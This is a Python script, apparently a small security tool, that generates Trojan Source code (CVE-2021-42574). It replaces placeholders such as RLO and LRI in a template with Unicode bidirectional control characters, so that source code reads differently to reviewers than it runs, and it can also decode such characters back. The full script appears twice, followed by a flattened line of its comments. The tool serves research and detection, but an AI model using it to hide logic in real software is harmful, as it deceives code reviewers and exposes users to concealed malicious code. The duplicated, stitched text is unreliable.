#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
# Author:   <NAME> <<EMAIL>>
# PGP:      https://keyserver.ubuntu.com/pks/lookup?op=get&search=0x00bebdd0437ad513a4a0e13d93435cab4ca92fb9
# Date:     05.11.2021

import argparse
import os

# Unicode placeholders and their replacements
uc_table = {
    b"LRE": chr(0x202a).encode(),
    b"RLE": chr(0x202b).encode(),
    b"PDF": chr(0x202c).encode(),
    b"LRO": chr(0x202d).encode(),
    b"RLO": chr(0x202e).encode(),
    b"LRI": chr(0x2066).encode(),
    b"RLI": chr(0x2067).encode(),
    b"FSI": chr(0x2068).encode(),
    b"PDI": chr(0x2069).encode(),
    b"EOL": chr(0x000a).encode()
}

# Reverted and decoded Unicode table
# to `unbidi` files
unbidi_table = {
    chr(0x202a): "LRE",
    chr(0x202b): "RLE",
    chr(0x202c): "PDF",
    chr(0x202d): "LRO",
    chr(0x202e): "RLO",
    chr(0x2066): "LRI",
    chr(0x2067): "RLI",
    chr(0x2068): "FSI",
    chr(0x2069): "PDI",
}


def table():
    # Print bidi-related Unicode characters (taken from unicode.org, see source below)
    print("Abbreviation  Code Point  Name                        Description")
    print("------------  ----------  ----                        -----------")
    print("LRE           U+202A      Left-to-Right Embedding     Try treating following text as left-to-right.")
    print("RLE           U+202B      Right-to-Left Embedding     Try treating following text as right-to-left.")
    print("PDF           U+202C      Pop Directional Formatting  Terminate nearest LRE, RLE, LRO or RLO.")
    print("LRO           U+202D      Left-to-Right Override      Force treating following test as left-to-right.")
    print("RLO           U+202E      Right-to-Left Override      Force treating following test as right-to-left.")
    print("LRI           U+2066      Left-to-Right Isolate       Force treating following text as left-to-right")
    print("                                                      without affecting adjacent text.")
    print("RLI           U+2067      Right-to-Left Isolate       Force treating following text as right-to-left")
    print("                                                      without affecting adjacent text.")
    print("FSI           U+2068      First Strong Isolate        Force treating following text in direction")
    print("                                                      indicated by the next character.")
    print("PDI           U+2069      Pop Directional Isolate     Terminate nearest LRI or RLI.")
    print("EOL           U+000A      End Of Line                 Character used to signify the end")
    print("                                                      of a line of text")
    print("\nSource: https://www.unicode.org/reports/tr9/tr9-42.html")
    print("Paper:  https://www.trojansource.codes/trojan-source.pdf, p. 2")


def about():
    print("Author:  <NAME>")
    print("Date:    05.11.2021")
    print("Name:    codegen.py")
    print("Version: v0.0.2")
    print("\nDescription")
    print("Generate malicious code using bidi-attack (CVE-2021-42574)")


def create_payload(template: bytes) -> bytes:
    # replace placeholders with unicode directionality formatting characters
    payload = template
    for uc in uc_table:
        payload = payload.replace(uc, uc_table[uc])
    return payload


def unbidi(code: bytes) -> str:
    cnt = 0
    for char in unbidi_table:
        cnt += code.count(char)
        code = code.replace(char, unbidi_table[char])
    print(f"[i] Replaced {cnt} chars")
    return code


def main():
    # Parse command line arguments to object `args`
    parser = argparse.ArgumentParser(description="Generate malicious code using bidi-attack (CVE-2021-42574)")
    parser.add_argument("-m", "--mode", help="Use e|ncode to convert template to malicious code and d|ecode vice versa")
    parser.add_argument("-i", "--infile", help="Input file containing unicode placeholders")
    parser.add_argument("-o", "--outfile", help="Output file to store the final code")
    parser.add_argument("-u", "--uctable", action="store_true", help="Supported bidi-related characters")
    parser.add_argument("-a", "--about", action="store_true", help="Print about text")
    args = vars(parser.parse_args())

    # Print bidi-related unicode chars with description
    if args["uctable"]:
        table()
        exit(0)
    
    # Print about information
    if args["about"]:
        about()
        exit(0)
    
    # Check if required parameters exist
    if not args["infile"] and not args["outfile"] and not args["mode"]:
        parser.print_usage()
        exit(0)
    if args["mode"]:
        if args["mode"] in ["e", "encode"]:
            mode = "encode"
        elif args["mode"] in ["d", "decode"]:
            mode = "decode"
        else:
            print("[!] This mode does not exist. Use e|encode or d|decode. See -h|--help for further advice.")
            exit(1)
    else:
        print("[!] Mode is missing.")
        exit(1)
    if args["infile"]:
        infile = args["infile"]
    else:
        print("[!] Input file is missing")
        exit(1)
    if args["outfile"]:
        outfile = args["outfile"]
    else:
        print("[!] Output file is missing")
        exit(1)
    
    # Check if template exist
    if not os.path.exists(infile):
        print("[!] Input file does not exist")
        exit(1)
    
    # Run method selected by mode arg
    if mode == "encode":
        code = open(infile, 'rb').read()
        data = create_payload(code)
        fmode = 'wb'
    elif mode == "decode":
        code = open(infile, 'r').read()
        data = unbidi(code)
        fmode = 'w'

    # Store payload to output file
    with open(outfile, fmode) as f:
        f.write(data)

if __name__ == "__main__":
    main()

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
# Author:   <NAME> <<EMAIL>>
# PGP:      https://keyserver.ubuntu.com/pks/lookup?op=get&search=0x00bebdd0437ad513a4a0e13d93435cab4ca92fb9
# Date:     05.11.2021

import argparse
import os

# Unicode placeholders and their replacements
uc_table = {
    b"LRE": chr(0x202a).encode(),
    b"RLE": chr(0x202b).encode(),
    b"PDF": chr(0x202c).encode(),
    b"LRO": chr(0x202d).encode(),
    b"RLO": chr(0x202e).encode(),
    b"LRI": chr(0x2066).encode(),
    b"RLI": chr(0x2067).encode(),
    b"FSI": chr(0x2068).encode(),
    b"PDI": chr(0x2069).encode(),
    b"EOL": chr(0x000a).encode()
}

# Reverted and decoded Unicode table
# to `unbidi` files
unbidi_table = {
    chr(0x202a): "LRE",
    chr(0x202b): "RLE",
    chr(0x202c): "PDF",
    chr(0x202d): "LRO",
    chr(0x202e): "RLO",
    chr(0x2066): "LRI",
    chr(0x2067): "RLI",
    chr(0x2068): "FSI",
    chr(0x2069): "PDI",
}


def table():
    # Print bidi-related Unicode characters (taken from unicode.org, see source below)
    print("Abbreviation  Code Point  Name                        Description")
    print("------------  ----------  ----                        -----------")
    print("LRE           U+202A      Left-to-Right Embedding     Try treating following text as left-to-right.")
    print("RLE           U+202B      Right-to-Left Embedding     Try treating following text as right-to-left.")
    print("PDF           U+202C      Pop Directional Formatting  Terminate nearest LRE, RLE, LRO or RLO.")
    print("LRO           U+202D      Left-to-Right Override      Force treating following test as left-to-right.")
    print("RLO           U+202E      Right-to-Left Override      Force treating following test as right-to-left.")
    print("LRI           U+2066      Left-to-Right Isolate       Force treating following text as left-to-right")
    print("                                                      without affecting adjacent text.")
    print("RLI           U+2067      Right-to-Left Isolate       Force treating following text as right-to-left")
    print("                                                      without affecting adjacent text.")
    print("FSI           U+2068      First Strong Isolate        Force treating following text in direction")
    print("                                                      indicated by the next character.")
    print("PDI           U+2069      Pop Directional Isolate     Terminate nearest LRI or RLI.")
    print("EOL           U+000A      End Of Line                 Character used to signify the end")
    print("                                                      of a line of text")
    print("\nSource: https://www.unicode.org/reports/tr9/tr9-42.html")
    print("Paper:  https://www.trojansource.codes/trojan-source.pdf, p. 2")


def about():
    print("Author:  <NAME>")
    print("Date:    05.11.2021")
    print("Name:    codegen.py")
    print("Version: v0.0.2")
    print("\nDescription")
    print("Generate malicious code using bidi-attack (CVE-2021-42574)")


def create_payload(template: bytes) -> bytes:
    # replace placeholders with unicode directionality formatting characters
    payload = template
    for uc in uc_table:
        payload = payload.replace(uc, uc_table[uc])
    return payload


def unbidi(code: bytes) -> str:
    cnt = 0
    for char in unbidi_table:
        cnt += code.count(char)
        code = code.replace(char, unbidi_table[char])
    print(f"[i] Replaced {cnt} chars")
    return code


def main():
    # Parse command line arguments to object `args`
    parser = argparse.ArgumentParser(description="Generate malicious code using bidi-attack (CVE-2021-42574)")
    parser.add_argument("-m", "--mode", help="Use e|ncode to convert template to malicious code and d|ecode vice versa")
    parser.add_argument("-i", "--infile", help="Input file containing unicode placeholders")
    parser.add_argument("-o", "--outfile", help="Output file to store the final code")
    parser.add_argument("-u", "--uctable", action="store_true", help="Supported bidi-related characters")
    parser.add_argument("-a", "--about", action="store_true", help="Print about text")
    args = vars(parser.parse_args())

    # Print bidi-related unicode chars with description
    if args["uctable"]:
        table()
        exit(0)
    
    # Print about information
    if args["about"]:
        about()
        exit(0)
    
    # Check if required parameters exist
    if not args["infile"] and not args["outfile"] and not args["mode"]:
        parser.print_usage()
        exit(0)
    if args["mode"]:
        if args["mode"] in ["e", "encode"]:
            mode = "encode"
        elif args["mode"] in ["d", "decode"]:
            mode = "decode"
        else:
            print("[!] This mode does not exist. Use e|encode or d|decode. See -h|--help for further advice.")
            exit(1)
    else:
        print("[!] Mode is missing.")
        exit(1)
    if args["infile"]:
        infile = args["infile"]
    else:
        print("[!] Input file is missing")
        exit(1)
    if args["outfile"]:
        outfile = args["outfile"]
    else:
        print("[!] Output file is missing")
        exit(1)
    
    # Check if template exist
    if not os.path.exists(infile):
        print("[!] Input file does not exist")
        exit(1)
    
    # Run method selected by mode arg
    if mode == "encode":
        code = open(infile, 'rb').read()
        data = create_payload(code)
        fmode = 'wb'
    elif mode == "decode":
        code = open(infile, 'r').read()
        data = unbidi(code)
        fmode = 'w'

    # Store payload to output file
    with open(outfile, fmode) as f:
        f.write(data)

if __name__ == "__main__":
    main()

#!/usr/bin/env python3 # -*- coding: utf-8 -*- # # Author:   <NAME> <<EMAIL>> # PGP:      https://keyserver.ubuntu.com/pks/lookup?op=get&search=0x00bebdd0437ad513a4a0e13d93435cab4ca92fb9 # Date:     05.11.2021 # Unicode placeholders and their replacements # Reverted and decoded Unicode table # to `unbidi` files # Print bidi-related Unicode characters (taken from unicode.org, see source below) # replace placeholders with unicode directionality formatting characters # Parse command line arguments to object `args` # Print bidi-related unicode chars with description # Print about information # Check if required parameters exist # Check if template exist # Run method selected by mode arg # Store payload to output file